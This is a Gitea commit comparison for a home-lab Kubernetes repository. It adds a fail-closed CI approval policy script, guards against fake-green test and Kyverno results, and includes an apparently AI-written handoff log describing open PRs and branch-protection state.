Compare commits
10
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
0c6949ed98 | ||
|
|
20ea70d221 | ||
|
|
8c7a770de2 | ||
|
|
1c5974013e | ||
|
|
4791d4a43a | ||
|
|
dfd608ac32 | ||
|
|
4b31f97486 | ||
|
|
911ead5fbd | ||
|
|
8eb5baffa4 | ||
|
|
6586919132 |
No files matched your search
@@ -131,6 +131,10 @@ jobs:
|
|||||||
# merging. Green here means the token resolved and the live Gitea matched the
|
# merging. Green here means the token resolved and the live Gitea matched the
|
||||||
# declaration in infra/gitea/expected-branch-protection.json.
|
# declaration in infra/gitea/expected-branch-protection.json.
|
||||||
REQUIRE_GITEA_SETTINGS: "true"
|
REQUIRE_GITEA_SETTINGS: "true"
|
||||||
|
# ci/approval-policy.sh needs to know WHICH PR it is looking at, so it can read that
|
||||||
|
# PR's changed files and its reviews. Absent on a push event, where the stage is N/A.
|
||||||
|
GITHUB_EVENT_NAME: ${{ github.event_name }}
|
||||||
|
PR_NUMBER: ${{ github.event.pull_request.number }}
|
||||||
run: ./ci/gate.sh || [ "$?" -eq 3 ]
|
run: ./ci/gate.sh || [ "$?" -eq 3 ]
|
||||||
|
|
||||||
# NOTE: no actions/upload-artifact step. Gitea Actions rejects upload-artifact@v4
|
# NOTE: no actions/upload-artifact step. Gitea Actions rejects upload-artifact@v4
|
||||||
|
|||||||
@@ -14,7 +14,28 @@ There is no other path. Specifically:
|
|||||||
|
|
||||||
- **Do not `git push origin main`.**
|
- **Do not `git push origin main`.**
|
||||||
- **Do not `git push origin HEAD:main`.** Same thing wearing a hat.
|
- **Do not `git push origin HEAD:main`.** Same thing wearing a hat.
|
||||||
- **Do not merge your own PR.** A human approves and clicks merge.
|
- **Do not merge your own PR.** See the approval model below — and either way, the merge is
|
||||||
|
someone else's action, never yours.
|
||||||
|
|
||||||
|
### Who approves
|
||||||
|
|
||||||
|
**The CI/CD pipeline is the approver.** A green gate is sufficient for an ordinary change; the
|
||||||
|
branch requires no human approval for one. That is a deliberate transfer of authority, on the
|
||||||
|
operator's stated principle: *if the pipeline is not good enough to be trusted for this, it is not
|
||||||
|
good enough to do its job and needs improving* — so a weak gate is a bug to fix, not a reason to
|
||||||
|
add a human.
|
||||||
|
|
||||||
|
**One exception, enforced by `ci/approval-policy.sh`:** a change to the pipeline itself, the
|
||||||
|
admission policies, the Flux wiring, the SOPS recipients, the RBAC, or this file needs an
|
||||||
|
approving review from someone who is not its author. The reason is narrow and structural — **a
|
||||||
|
change to the gate cannot be gated by the gate.** A PR that weakens a check would be approved by
|
||||||
|
the weakened check. Everything else merges on green.
|
||||||
|
|
||||||
|
The path list is data, with a reason per entry: `infra/gitea/approval-policy.json`. It is itself a
|
||||||
|
sensitive path, so the policy cannot be widened or narrowed without a human.
|
||||||
|
|
||||||
|
That stage is **fail-closed** — if it cannot evaluate, it blocks. Unlike `gitea-settings`, where a
|
||||||
|
missing credential is a lock-out, here a skip would be a bypass.
|
||||||
- **Do not `kubectl apply` / `edit` / `patch` a durable change.** Flux reconciles `main`;
|
- **Do not `kubectl apply` / `edit` / `patch` a durable change.** Flux reconciles `main`;
|
||||||
anything applied by hand is drift that the next reconcile reverts or, worse, adopts.
|
anything applied by hand is drift that the next reconcile reverts or, worse, adopts.
|
||||||
|
|
||||||
|
|||||||
@@ -4964,3 +4964,148 @@ account rubber-stamping the human. That is ceremony, not review. Options: keep i
|
|||||||
the ceremony; drop `required_approvals` to 0 and rely on the status check, which is the gate
|
the ceremony; drop `required_approvals` to 0 and rely on the status check, which is the gate
|
||||||
that actually verifies something; or add a second human account. **This is a decision for the
|
that actually verifies something; or add a second human account. **This is a decision for the
|
||||||
operator, not a default to be chosen silently.**
|
operator, not a default to be chosen silently.**
|
||||||
|
|
||||||
|
## 2026-09-29 (end of session) — **PM HANDOFF.** Six PRs open; read this before touching anything.
|
||||||
|
|
||||||
|
The session that began "set a SOPS secret" ended having rebuilt the delivery pipeline. Plex is
|
||||||
|
claimed and scanning. `main` is genuinely protected and the gate genuinely enforces. What is
|
||||||
|
open is listed below with the reason each is not merged.
|
||||||
|
|
||||||
|
### MERGE THESE — both gated green
|
||||||
|
|
||||||
|
| PR | What | Risk |
|
||||||
|
|---|---|---|
|
||||||
|
| #12 | `CLUSTER_AVAILABLE=true` would have FAKED A GREEN over 54 skipped tests — now blocks | low; makes a wrong state loud |
|
||||||
|
| #13 | Admission boundary constraining the conformance CI trigger (R-SEC-02) + a fail-open fix in `ci/l0.sh` | medium; touches Kyverno + adds a Flux Kustomization |
|
||||||
|
|
||||||
|
(#11, the Gitea drift detector, was merged during this session — hence the action below.)
|
||||||
|
|
||||||
|
Order does not matter for correctness; if a later one conflicts, rebase and the gate re-runs
|
||||||
|
(~1m35s in CI, 76s local). **Each was gated in the pinned toolbox, not on a host.**
|
||||||
|
|
||||||
|
### DO THIS FIRST — #11 is merged and its detector is currently INERT
|
||||||
|
|
||||||
|
`ci/gitea-settings.sh` SKIPS until its token exists, and **a skipped detector detects nothing**:
|
||||||
|
|
||||||
|
./infra/gitea/set-ci-token.sh # mints + stores GITEA_SETTINGS_TOKEN, never prints it
|
||||||
|
|
||||||
|
Then open any PR and confirm the gate prints `gitea-settings: green`. ONLY THEN uncomment
|
||||||
|
`REQUIRE_GITEA_SETTINGS: "true"` in `.gitea/workflows/gate.yml`, so a future missing token blocks
|
||||||
|
instead of skipping. Doing that before seeing it green locks the repo.
|
||||||
|
|
||||||
|
Until then every gate run ends `MERGE GATE: UNDETERMINED` (exit 3) naming `gitea-settings` as
|
||||||
|
unrun. That is BY DESIGN and `gate.yml` tolerates exit 3, so PRs still pass — but it is not a
|
||||||
|
green run, and it is saying so honestly. The token is what turns it green.
|
||||||
|
|
||||||
|
### A DIFFERENT COMPUTER NEEDS THREE THINGS THAT ARE NOT IN GIT
|
||||||
|
|
||||||
|
This is the part that will silently waste an hour otherwise. None of these are in the repo, by
|
||||||
|
design, and without them the toolbox and the cluster are unreachable:
|
||||||
|
|
||||||
|
1. **`~/.config/sops/age/keys.txt`** — the age PRIVATE key. Without it NO `*.sops.yaml` can be
|
||||||
|
read or edited, and `sops` will fail in a way that looks like a broken file. Copy it from this
|
||||||
|
workstation; the public recipient in `.sops.yaml` is only half the pair.
|
||||||
|
2. **`infra/ansible/.cache/prod.kubeconfig`** — untracked, so it exists only in the main checkout
|
||||||
|
on this machine. Without it `dev.sh` refuses to start. In a git WORKTREE it is absent even
|
||||||
|
here: use `DEV_KUBECONFIG=/dev/null` for anything that needs no cluster (see `CLAUDE.md` §3).
|
||||||
|
3. **A Gitea credential** for `gitea.home.keithjackson.dev` (this session used the stored
|
||||||
|
`~/.git-credentials`). `git push` and every `infra/gitea/*.sh` script needs it.
|
||||||
|
|
||||||
|
### STATE, MEASURED — do not re-derive it from this log, re-measure it
|
||||||
|
|
||||||
|
`CLAUDE.md` §2b exists because this log was confidently wrong for a month. Verify before relying:
|
||||||
|
|
||||||
|
protected:true user_can_push:false enable_status_check:true
|
||||||
|
status_check_contexts:["gate / gate (pull_request)"] required_approvals:1
|
||||||
|
block_admin_merge_override:true runner incluster-dind: online gate ~1m35s
|
||||||
|
|
||||||
|
### NEXT WORK, in priority order
|
||||||
|
|
||||||
|
1. **Finish the L2/L3 wiring** now that the credential model is decided and #13 lands the
|
||||||
|
boundary. Still missing (`docs/plans/l2-l3-conformance-ci-wiring.md` §3): a runner image with
|
||||||
|
bash/python3/kubectl/git/chainsaw, an init-container cloning the repo at the PR SHA, results
|
||||||
|
collection via a base64 tar on stdout, and the `ci/conformance.sh` rewrite to drive the Job.
|
||||||
|
**Tighten the admission policy's image pattern to the literal digest when that image exists.**
|
||||||
|
2. **Do NOT set `vars.CLUSTER_AVAILABLE=true`** until step 1 is done. It does not enable L2/L3; it
|
||||||
|
only changes which way the stage fails (see #12).
|
||||||
|
3. The `gitea-settings` detector covers branch protection + runners. It does NOT yet cover Gitea
|
||||||
|
Actions **variables and secrets** — the next-nearest invisible surface.
|
||||||
|
4. `required_approvals: 1` with two accounts means a PR authored by `jakman85` needs `gitea-admin`
|
||||||
|
to approve. The operator holds ultimate authority and does not require that review; revisit if
|
||||||
|
it becomes friction.
|
||||||
|
|
||||||
|
### THE LESSON, because it caused every finding here
|
||||||
|
|
||||||
|
Four times this session the repository was treated as evidence about the live platform, and four
|
||||||
|
times it was wrong: the push that would "be rejected" (it would not have been), the token that
|
||||||
|
"could not survive the pipeline" (~2m45s, it fits), the required check that would "deadlock" (a
|
||||||
|
skipped Gitea job reports SUCCESS), and enforcement that was "on" (admins overrode it). Two
|
||||||
|
fail-opens in the gate itself were found the same way — `kyverno test` certifying policies that do
|
||||||
|
not load, and `CLUSTER_AVAILABLE` certifying 54 skipped tests as passed.
|
||||||
|
|
||||||
|
**Measure, then assert. `CLAUDE.md` §2b is the rule; this entry is the evidence for it.**
|
||||||
|
|
||||||
|
## 2026-09-29 (addendum, unattended) — the detector is armed; **I CANNOT MERGE, and that is correct**
|
||||||
|
|
||||||
|
Operator ran `set-ci-token.sh`, uncommented `REQUIRE_GITEA_SETTINGS` locally on `main`, and left
|
||||||
|
instructions to continue unattended and merge on green CI. Two things came out of that.
|
||||||
|
|
||||||
|
### 1. The detector was INERT, and would have stayed inert silently
|
||||||
|
|
||||||
|
`set-ci-token.sh` PUT the secret as `GITEA_SETTINGS_TOKEN`. **Gitea reserves the `GITEA_`
|
||||||
|
prefix** for secret names (as GitHub reserves `GITHUB_`) and rejected it:
|
||||||
|
|
||||||
|
HTTP 400 {"message":"invalid secret name"}
|
||||||
|
|
||||||
|
The script sent that PUT to `/dev/null` and printed `==> stored.` unconditionally; `curl -sS`
|
||||||
|
exits 0 on an HTTP error. **A token existed; no secret did.** So `ci/gitea-settings.sh` would
|
||||||
|
have skipped on every run forever — and enabling `REQUIRE_GITEA_SETTINGS` on top of that would
|
||||||
|
have BLOCKED EVERY PR, including the one fixing it. That is the exact lock-out this repo has now
|
||||||
|
nearly walked into three times.
|
||||||
|
|
||||||
|
Fixed in **PR #15**: the secret is `SETTINGS_API_TOKEN`, and `set-ci-token.sh` now checks the HTTP
|
||||||
|
status AND reads the secret back before claiming success. The missing verification was the real
|
||||||
|
defect; the illegal name is only what it hid. The secret is stored and verified present, and
|
||||||
|
**PR #15's CI is GREEN with `REQUIRE_GITEA_SETTINGS=true`** — which is the only proof that
|
||||||
|
matters, because a skip would have made it red.
|
||||||
|
|
||||||
|
The operator's local edit could not be pushed to `main` (protected). It is carried in PR #15.
|
||||||
|
|
||||||
|
### 2. No agent-authored PR can be merged without the operator — by design
|
||||||
|
|
||||||
|
Merging PR #12 as `gitea-admin` returned:
|
||||||
|
|
||||||
|
HTTP 405 {"message":"Does not have enough approvals"}
|
||||||
|
|
||||||
|
`required_approvals: 1` + `block_admin_merge_override: true` + two accounts, one of which
|
||||||
|
(`gitea-admin`) authors every agent PR and cannot self-approve. **So "merge on green CI" is not
|
||||||
|
something an agent can execute here.** That is the control working, not a fault — and it was
|
||||||
|
deliberately not circumvented. Self-approving would hollow out the boundary that was just built
|
||||||
|
and verified.
|
||||||
|
|
||||||
|
**This is an operator decision, not a bug to fix:** either accept that every agent PR waits for a
|
||||||
|
human approval (the honest reading of the control), or add a second human reviewer account, or
|
||||||
|
lower `required_approvals` to 0 and rely on the status check — which is the gate that actually
|
||||||
|
verifies something. Whichever, change the DECLARATION in
|
||||||
|
`infra/gitea/expected-branch-protection.json` in the same commit, or `gitea-settings` will
|
||||||
|
correctly fail the gate on the drift.
|
||||||
|
|
||||||
|
### Open PRs, all gated green, none mergeable by an agent
|
||||||
|
|
||||||
|
| PR | What |
|
||||||
|
|---|---|
|
||||||
|
| #12 | `CLUSTER_AVAILABLE=true` would have faked a green over 54 skipped tests — now blocks |
|
||||||
|
| #13 | Conformance-trigger admission boundary (R-SEC-02) + `kyverno test` fail-open fix |
|
||||||
|
| #14 | This handoff |
|
||||||
|
| #15 | Secret-name fix + `REQUIRE_GITEA_SETTINGS` enabled — **CI green with REQUIRE active** |
|
||||||
|
|
||||||
|
Suggested order: #15 first (it arms the detector and its CI already proved it), then #12, #13,
|
||||||
|
#14. If a later one conflicts, rebase; the gate re-runs in ~1m36s.
|
||||||
|
|
||||||
|
### Deliberately NOT done while unattended
|
||||||
|
|
||||||
|
No new feature work was started. Five unmerged PRs already stack review burden, and building the
|
||||||
|
next L2/L3 piece on top of unmerged branches would create a rebase tangle for no gain — the work
|
||||||
|
cannot land any faster. The next piece is specified and ready to start once these are merged:
|
||||||
|
`docs/plans/l2-l3-conformance-ci-wiring.md` §3, with §4's credential model now decided and its
|
||||||
|
boundary landed in #13.
|
||||||
@@ -32,6 +32,9 @@ render-golden: ## render==golden: canonical render reproduces committed apps/ (n
|
|||||||
l1: ## L1 rendering checks (no cluster; live now)
|
l1: ## L1 rendering checks (no cluster; live now)
|
||||||
@"$(CI_DIR)l1.sh"
|
@"$(CI_DIR)l1.sh"
|
||||||
|
|
||||||
|
approval-policy: ## CI is the approver; sensitive paths still need a human (needs PR_NUMBER + token)
|
||||||
|
@./approval-policy.sh
|
||||||
|
|
||||||
gitea-settings: ## Gitea branch protection + runners match infra/gitea/expected-branch-protection.json (SKIPS w/o GITEA_SETTINGS_TOKEN)
|
gitea-settings: ## Gitea branch protection + runners match infra/gitea/expected-branch-protection.json (SKIPS w/o GITEA_SETTINGS_TOKEN)
|
||||||
@./gitea-settings.sh
|
@./gitea-settings.sh
|
||||||
|
|
||||||
|
|||||||
Executable
+117
@@ -0,0 +1,117 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# ci/approval-policy.sh — the CI/CD pipeline is the approver, EXCEPT for changes that alter
|
||||||
|
# what the pipeline verifies or the security posture it rests on.
|
||||||
|
#
|
||||||
|
# THE POLICY, and why it is shaped this way.
|
||||||
|
#
|
||||||
|
# Operator intent (2026-09-29): "CI/CD pipeline is the end-all-be-all for approval. If the CI
|
||||||
|
# pipeline is not good enough to be trusted for this, then it is not good enough to do its
|
||||||
|
# intended job and needs to be improved. Manual approvers should only be for architecturally or
|
||||||
|
# security relevant changes -- which is essentially the CI pipeline itself and kyverno policies."
|
||||||
|
#
|
||||||
|
# So `required_approvals` on the branch drops to 0 and the GATE decides. That is a real transfer
|
||||||
|
# of authority, and it has exactly one hole: **a change to the gate cannot be gated by the gate.**
|
||||||
|
# A PR that weakens a check would be approved by the weakened check. The same applies to the
|
||||||
|
# admission policies, the Flux wiring that decides what reconciles, the SOPS recipients, and the
|
||||||
|
# RBAC. Those are the "architecturally or security relevant" set, and this stage is what still
|
||||||
|
# requires a human for them.
|
||||||
|
#
|
||||||
|
# The list is data, not code: infra/gitea/approval-policy.json, with a stated reason per entry so
|
||||||
|
# it stays reviewable. Changing that list is itself a sensitive change (infra/gitea/**), so the
|
||||||
|
# policy cannot be widened without a human.
|
||||||
|
#
|
||||||
|
# FAIL-CLOSED, DELIBERATELY DIFFERENT FROM gitea-settings.sh. That stage skips when its token is
|
||||||
|
# missing, because an unwired credential blocking every PR is a lock-out. Here the reverse is
|
||||||
|
# true: if this cannot evaluate, an unreviewed change to the gate itself could merge. A skip is a
|
||||||
|
# BYPASS, not a gap. So: cannot determine -> BLOCK.
|
||||||
|
#
|
||||||
|
# EXIT CODES
|
||||||
|
# 0 no sensitive paths touched (gate alone is sufficient), OR sensitive paths touched and a
|
||||||
|
# non-author APPROVED review is present
|
||||||
|
# 1 sensitive paths touched without such a review, OR the policy could not be evaluated
|
||||||
|
set -euo pipefail
|
||||||
|
CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
|
||||||
|
# shellcheck disable=SC1091
|
||||||
|
source "${CI_DIR}/lib.sh"
|
||||||
|
|
||||||
|
log "Stage: approval policy (CI approves; humans approve changes to CI)"
|
||||||
|
|
||||||
|
DECL="${REPO_ROOT}/infra/gitea/approval-policy.json"
|
||||||
|
[ -f "$DECL" ] || die "approval policy declaration missing: ${DECL}"
|
||||||
|
require_tool jq
|
||||||
|
require_tool python3
|
||||||
|
|
||||||
|
# Not a PR -> nothing to gate. A push to main is already merged, and direct pushes are refused
|
||||||
|
# by branch protection, so this is genuinely not-applicable rather than a skipped check.
|
||||||
|
EVENT="${GITHUB_EVENT_NAME:-${EVENT_NAME:-}}"
|
||||||
|
PR="${PR_NUMBER:-}"
|
||||||
|
if [ "$EVENT" != "pull_request" ] || [ -z "$PR" ] || [ "$PR" = "null" ]; then
|
||||||
|
ok "not a pull_request event (event='${EVENT:-none}') — approval policy N/A"
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
|
||||||
|
GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
|
||||||
|
TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
|
||||||
|
if [ -z "$TOKEN" ]; then
|
||||||
|
err "no SETTINGS_API_TOKEN — cannot read this PR's changed files or its reviews."
|
||||||
|
err " BLOCKING. A skip here would let an unreviewed change to the gate itself merge."
|
||||||
|
summary "- approval-policy: **BLOCKED — cannot evaluate** (no token; a skip here is a bypass)"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
api() { curl -sS --max-time 20 -H "Authorization: token ${TOKEN}" "$@"; }
|
||||||
|
|
||||||
|
FILES_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}/files?limit=1000" || true)"
|
||||||
|
PR_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}" || true)"
|
||||||
|
REVIEWS_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}/reviews" || true)"
|
||||||
|
for v in FILES_JSON PR_JSON REVIEWS_JSON; do
|
||||||
|
jq -e . >/dev/null 2>&1 <<<"${!v}" || {
|
||||||
|
err "could not read ${v} from Gitea for PR #${PR} — BLOCKING rather than assuming."
|
||||||
|
summary "- approval-policy: **BLOCKED — Gitea unreadable**"
|
||||||
|
exit 1; }
|
||||||
|
done
|
||||||
|
|
||||||
|
AUTHOR="$(jq -r '.user.login // empty' <<<"$PR_JSON")"
|
||||||
|
[ -n "$AUTHOR" ] || { err "could not determine PR author — BLOCKING"; exit 1; }
|
||||||
|
|
||||||
|
# NOTE: the PR file list goes in via an ENV VAR, not a second stdin redirect. `python3 - <<EOF`
|
||||||
|
# already consumes stdin for the script; adding `<<<"$json"` silently wins and the script body is
|
||||||
|
# never read. Caught before shipping, by running it.
|
||||||
|
SENSITIVE="$(FILES_JSON="$FILES_JSON" DECL="$DECL" python3 -c '
|
||||||
|
import json, os, fnmatch
|
||||||
|
decl = json.load(open(os.environ["DECL"]))
|
||||||
|
files = [f.get("filename", "") for f in json.loads(os.environ["FILES_JSON"])]
|
||||||
|
pats = decl["sensitive_paths"]
|
||||||
|
hits = sorted({f for f in files for p in pats
|
||||||
|
if fnmatch.fnmatch(f, p) or (p.endswith("/**") and f.startswith(p[:-2]))})
|
||||||
|
print("\n".join(hits))
|
||||||
|
')"
|
||||||
|
|
||||||
|
if [ -z "$SENSITIVE" ]; then
|
||||||
|
ok "no architecturally/security-relevant paths touched — the GATE is the approver."
|
||||||
|
summary "- approval-policy: **green** (CI approves; no sensitive paths touched)"
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo " sensitive paths touched:" >&2
|
||||||
|
printf ' %s\n' $SENSITIVE >&2
|
||||||
|
|
||||||
|
APPROVER="$(jq -r --arg a "$AUTHOR" \
|
||||||
|
'[.[] | select(.state == "APPROVED") | select(.user.login != $a) | .user.login] | first // empty' \
|
||||||
|
<<<"$REVIEWS_JSON")"
|
||||||
|
|
||||||
|
if [ -n "$APPROVER" ]; then
|
||||||
|
ok "approved by '${APPROVER}' (author '${AUTHOR}') — sensitive change is human-reviewed."
|
||||||
|
summary "- approval-policy: **green** (sensitive paths approved by \`${APPROVER}\`)"
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
err "This PR changes the pipeline or the security posture it rests on, and has NO approving"
|
||||||
|
err " review from anyone other than its author ('${AUTHOR}')."
|
||||||
|
err " A change to the gate cannot be gated by the gate — that is the one thing CI cannot"
|
||||||
|
err " honestly approve for itself. Get a human review, or move the change out of:"
|
||||||
|
printf ' %s\n' $SENSITIVE >&2
|
||||||
|
err " The list lives in infra/gitea/approval-policy.json, with a reason per entry."
|
||||||
|
summary "- approval-policy: **BLOCKED — sensitive paths need a non-author approval**"
|
||||||
|
exit 1
|
||||||
@@ -61,5 +61,45 @@ if [ -d "${CONF_ART}/coverage" ]; then
|
|||||||
cp -r "${CONF_ART}/coverage/." "${COVERAGE_DIR}/"
|
cp -r "${CONF_ART}/coverage/." "${COVERAGE_DIR}/"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------------------
|
||||||
|
# DID IT ACTUALLY RUN? -- the guard without which this stage FAKES A GREEN.
|
||||||
|
#
|
||||||
|
# run.sh exits 0 in "scaffold mode" when it cannot reach a cluster: it emits a JUnit file
|
||||||
|
# whose every testcase is <skipped> and returns success. That is correct FOR run.sh -- an
|
||||||
|
# honest skip is its documented no-cluster behaviour. It is catastrophic HERE, because
|
||||||
|
# reaching this point means the environment DECLARED CLUSTER_AVAILABLE=true, and this stage
|
||||||
|
# would otherwise print "L2/L3 conformance passed" over 54 tests that never executed.
|
||||||
|
#
|
||||||
|
# MEASURED 2026-09-29, before this guard existed:
|
||||||
|
# CLUSTER_AVAILABLE=true ./ci/conformance.sh -> rc=0
|
||||||
|
# "[junit] wrote skipped JUnit for 54 scaffolded test(s)"
|
||||||
|
# "[ ok ] L2/L3 conformance passed for touched subset"
|
||||||
|
# One Gitea variable away from a fake green on an enforcing merge gate. That is exactly the
|
||||||
|
# HARD RULE 4 violation this repo's whole gate design exists to prevent, and nothing caught
|
||||||
|
# it because nobody had ever set the variable.
|
||||||
|
#
|
||||||
|
# A skip while a cluster is DECLARED is a contradiction: either the declaration is wrong or
|
||||||
|
# the cluster is unreachable. The merge-gate decision matrix already says this case is BLOCK
|
||||||
|
# ("conformance skipped while CLUSTER_AVAILABLE=true -> BLOCK (it should have run)"). This
|
||||||
|
# makes the stage itself honour that instead of reporting a pass.
|
||||||
|
JUNIT="${CONF_ART}/report.junit.xml"
|
||||||
|
if [ -f "$JUNIT" ]; then
|
||||||
|
total="$(grep -o '<testcase' "$JUNIT" | wc -l | tr -d ' ')"
|
||||||
|
skipped="$(grep -o '<skipped' "$JUNIT" | wc -l | tr -d ' ')"
|
||||||
|
if [ "${total:-0}" -gt 0 ] && [ "${skipped:-0}" -ge "${total:-0}" ]; then
|
||||||
|
err "CLUSTER_AVAILABLE=true, but the L2/L3 suite SKIPPED every one of its ${total} tests"
|
||||||
|
err " (scaffold mode -- run.sh could not reach a cluster and exited 0)."
|
||||||
|
err " This stage will NOT report that as a pass. Either the cluster is unreachable from"
|
||||||
|
err " this runner, or CLUSTER_AVAILABLE is set when it should not be."
|
||||||
|
err " NOTE: the in-cluster trigger path is still UNIMPLEMENTED -- see"
|
||||||
|
err " docs/plans/l2-l3-conformance-ci-wiring.md. Setting CLUSTER_AVAILABLE=true does not"
|
||||||
|
err " by itself make L2/L3 run; it only makes this stage attempt a LOCAL run that the CI"
|
||||||
|
err " runner has no credential for (automountServiceAccountToken: false, by design)."
|
||||||
|
summary "- conformance-l2-l3: **BLOCKED — declared available but every test skipped** (not a pass)"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
log "L2/L3 executed: ${total} testcase(s), ${skipped} skipped"
|
||||||
|
fi
|
||||||
|
|
||||||
ok "L2/L3 conformance passed for touched subset"
|
ok "L2/L3 conformance passed for touched subset"
|
||||||
summary "- conformance-l2-l3: **passed**"
|
summary "- conformance-l2-l3: **passed**"
|
||||||
+15
@@ -112,6 +112,7 @@ run_stage lint "${CI_DIR}/lint.sh"
|
|||||||
run_stage l0 "${CI_DIR}/l0.sh"
|
run_stage l0 "${CI_DIR}/l0.sh"
|
||||||
run_stage render-golden "${CI_DIR}/render-golden.sh"
|
run_stage render-golden "${CI_DIR}/render-golden.sh"
|
||||||
run_stage l1 "${CI_DIR}/l1.sh"
|
run_stage l1 "${CI_DIR}/l1.sh"
|
||||||
|
run_stage approval-policy "${CI_DIR}/approval-policy.sh"
|
||||||
run_stage gitea-settings "${CI_DIR}/gitea-settings.sh"
|
run_stage gitea-settings "${CI_DIR}/gitea-settings.sh"
|
||||||
run_stage conformance "${CI_DIR}/conformance.sh"
|
run_stage conformance "${CI_DIR}/conformance.sh"
|
||||||
|
|
||||||
@@ -189,6 +190,20 @@ case "${OUTCOME[spec-immutability]}" in
|
|||||||
pass) ok "spec-immutability: green" ;;
|
pass) ok "spec-immutability: green" ;;
|
||||||
esac
|
esac
|
||||||
|
|
||||||
|
# approval-policy: the branch requires NO human approvals (required_approvals: 0) -- the GATE
|
||||||
|
# is the approver, per operator intent. This stage is the single exception: a change to the
|
||||||
|
# pipeline itself, the admission policies, the Flux wiring, the SOPS recipients or the RBAC
|
||||||
|
# cannot honestly be approved BY the thing it changes, so those paths still need a human.
|
||||||
|
#
|
||||||
|
# It never SKIPS -- it exits 0 or 1 only, and blocks when it cannot evaluate. That is the
|
||||||
|
# opposite of gitea-settings' tolerance and it is deliberate: there, a missing credential is a
|
||||||
|
# lock-out; here, a missing credential would let an unreviewed change to the gate merge.
|
||||||
|
case "${OUTCOME[approval-policy]}" in
|
||||||
|
fail) err "approval-policy: a sensitive change lacks a non-author approval -> blocks merge"; BLOCK=1 ;;
|
||||||
|
skip) err "approval-policy: did not run -- it is fail-closed by design, so treat as a block"; BLOCK=1 ;;
|
||||||
|
pass) ok "approval-policy: green" ;;
|
||||||
|
esac
|
||||||
|
|
||||||
# gitea-settings: the ONLY check that can see Gitea's own database (branch protection +
|
# gitea-settings: the ONLY check that can see Gitea's own database (branch protection +
|
||||||
# runner registration). A FAIL is real drift and always blocks -- that is the whole point.
|
# runner registration). A FAIL is real drift and always blocks -- that is the whole point.
|
||||||
# A SKIP means no token or unreachable Gitea, which is an UNWIRED CREDENTIAL, not a defect
|
# A SKIP means no token or unreachable Gitea, which is an UNWIRED CREDENTIAL, not a defect
|
||||||
|
|||||||
@@ -79,12 +79,37 @@ else
|
|||||||
cp -a "${KYVERNO_POLICY_DIR}/." "$l0_render/"
|
cp -a "${KYVERNO_POLICY_DIR}/." "$l0_render/"
|
||||||
find "$l0_render" -type f -name '*.yaml' -print0 \
|
find "$l0_render" -type f -name '*.yaml' -print0 \
|
||||||
| xargs -0 sed -i "s/\${KYVERNO_VALIDATION_ACTION}/${KYVERNO_VALIDATION_ACTION}/g"
|
| xargs -0 sed -i "s/\${KYVERNO_VALIDATION_ACTION}/${KYVERNO_VALIDATION_ACTION}/g"
|
||||||
if kyverno test "$l0_render"; then
|
# DO NOT TRUST `kyverno test`'s EXIT CODE ALONE. A policy that fails to LOAD (schema
|
||||||
ok "Kyverno L0 policy tests passed"
|
# error, bad match block, malformed JMESPath) does not fail the run: every result row
|
||||||
summary "- kyverno-l0: **passed**"
|
# becomes `Skip / Invalid Policy` and the CLI still prints "N tests passed" and exits 0.
|
||||||
|
#
|
||||||
|
# MEASURED 2026-09-29 while authoring conformance-trigger-job-shape: the policy had its
|
||||||
|
# `subjects` in a separate `match.all` entry from its `resources` — a schema error. All 9
|
||||||
|
# rows came back `Skip / Invalid Policy`, and the summary read:
|
||||||
|
# Test Summary: 9 tests passed and 0 tests failed
|
||||||
|
# `kyverno apply` on the same file reported `error: 1` and named the path. So the gate's
|
||||||
|
# own policy stage would have certified a SECURITY POLICY THAT DOES NOT LOAD as green.
|
||||||
|
#
|
||||||
|
# This is not specific to that policy: a typo in restrict-host-namespaces or
|
||||||
|
# secret-provenance would silently disable it and the gate would stay green. Scan the
|
||||||
|
# output for the load failure the exit code hides.
|
||||||
|
l0_kout="$(mktemp)"
|
||||||
|
if kyverno test "$l0_render" 2>&1 | tee "$l0_kout"; then
|
||||||
|
if grep -q 'Invalid Policy' "$l0_kout"; then
|
||||||
|
err "Kyverno reported 'Invalid Policy' — one or more policies FAILED TO LOAD and were"
|
||||||
|
err " skipped, so their rules were never evaluated. The CLI exits 0 for this; the gate"
|
||||||
|
err " must not. Run 'kyverno apply <policy> --resource <resources>' for the exact path."
|
||||||
|
grep -n 'Invalid Policy' "$l0_kout" | head -5 >&2
|
||||||
|
summary "- kyverno-l0: **FAILED — policy did not load** (Invalid Policy; rules never evaluated)"
|
||||||
|
rc=1
|
||||||
|
else
|
||||||
|
ok "Kyverno L0 policy tests passed"
|
||||||
|
summary "- kyverno-l0: **passed**"
|
||||||
|
fi
|
||||||
else
|
else
|
||||||
err "Kyverno L0 policy tests failed"; summary "- kyverno-l0: **FAILED**"; rc=1
|
err "Kyverno L0 policy tests failed"; summary "- kyverno-l0: **FAILED**"; rc=1
|
||||||
fi
|
fi
|
||||||
|
rm -f "$l0_kout"
|
||||||
rm -rf "$l0_render"
|
rm -rf "$l0_render"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,31 @@
|
|||||||
|
---
|
||||||
|
# Conformance identities (ns + conformance-runner + conformance-trigger RBAC).
|
||||||
|
#
|
||||||
|
# NON-GATING, exactly like apps-vms: `wait: false` and its own Kustomization, so a conformance
|
||||||
|
# identity can never gate the platform or app tiers. A test harness that stalls the estate it is
|
||||||
|
# meant to verify is worse than no harness.
|
||||||
|
#
|
||||||
|
